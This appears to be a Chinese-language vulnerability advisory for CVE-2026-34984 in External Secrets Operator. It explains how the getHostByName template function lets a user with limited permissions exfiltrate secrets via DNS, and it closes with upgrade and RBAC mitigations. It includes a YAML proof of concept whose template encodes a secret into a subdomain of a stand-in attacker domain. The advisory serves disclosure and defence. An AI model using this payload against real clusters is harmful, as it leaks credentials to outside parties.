CVE-2026-34984 CVSS 6.5 中危

CVE-2026-34984 External Secrets Operator DNS渗透漏洞

披露日期: 2026-04-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-34984

漏洞类型

信息泄露

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

External Secrets Operator

漏洞概述

External Secrets Operator (ESO) 2.2.0及以下版本存在安全漏洞。虽然移除了部分敏感函数，但模板引擎仍保留了getHostByName。拥有权限的攻击者可构造恶意ExternalSecret资源，诱导控制器发起DNS查询，从而将秘密数据编码到子域名中实现外带，绕过网络限制造成信息泄露。

技术细节

漏洞源于External Secrets Operator在runtime/template/v2/template.go中对Sprig函数库的处理不当。开发者在v2引擎中移除了env和expandenv以缓解风险，却遗漏了getHostByName函数。由于ESO在控制器进程内解析用户提供的模板，攻击者若具备创建或更新ExternalSecret资源的权限，即可在模板中调用getHostByName。利用方式是将窃取的敏感数据（如API Key）格式化为子域名的一部分，通过DNS查询发送至攻击者控制的域名服务器。这种利用方式利用了控制器的高权限网络环境，实现了无需攻击者Pod直接出网的DNS数据外带。该漏洞属于典型的模板注入导致的服务端请求伪造（SSRF）及信息泄露问题，影响Kubernetes集群中敏感配置的机密性。

攻击链分析

STEP 1

1. 权限获取

攻击者获得在Kubernetes集群中创建或更新ExternalSecret资源的权限（如通过RBAC配置不当）。

STEP 2

2. 构造恶意资源

攻击者创建一个ExternalSecret资源，并在其template字段中编写恶意的Go Template代码。该代码调用getHostByName函数，并将获取的秘密数据（如API Token）编码进DNS查询的子域名中。

STEP 3

3. 控制器执行

External Secrets Operator控制器监听到资源变更，拉取第三方数据并在控制器进程上下文中解析模板。模板执行时触发getHostByName函数。

STEP 4

4. DNS外带

控制器进程向攻击者控制的域名服务器发起DNS解析请求（如secret.attacker.com）。攻击者通过DNS服务器日志接收并解码子域名中的秘密数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: dns-exfil-poc
spec:
  refreshInterval: 15s
  secretStoreRef:
    name: my-secret-store
    kind: SecretStore
  target:
    name: k8s-secret-to-create
    creationPolicy: Owner
    template:
      # Example: Exfiltrating a secret value via DNS
      # Attacker controls 'attacker-controlled.com'
      data:
        leaked-data: |
          {{- $secretVal := .secret_value -}}
          {{- $domain := printf "%s.attacker-controlled.com" $secretVal -}}
          {{- getHostByName $domain -}}
          DummyValue

影响范围

External Secrets Operator <= 2.2.0

防御指南

临时缓解措施

建议立即升级 External Secrets Operator 至 2.3.0 或更高版本。如果无法立即升级，应严格限制具有创建或更新 ExternalSecret 资源权限的用户或服务账号，确保仅受信任的管理员可以操作模板功能。此外，可以考虑在网络策略层面限制控制器 Pod 的外网 DNS 解析权限。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表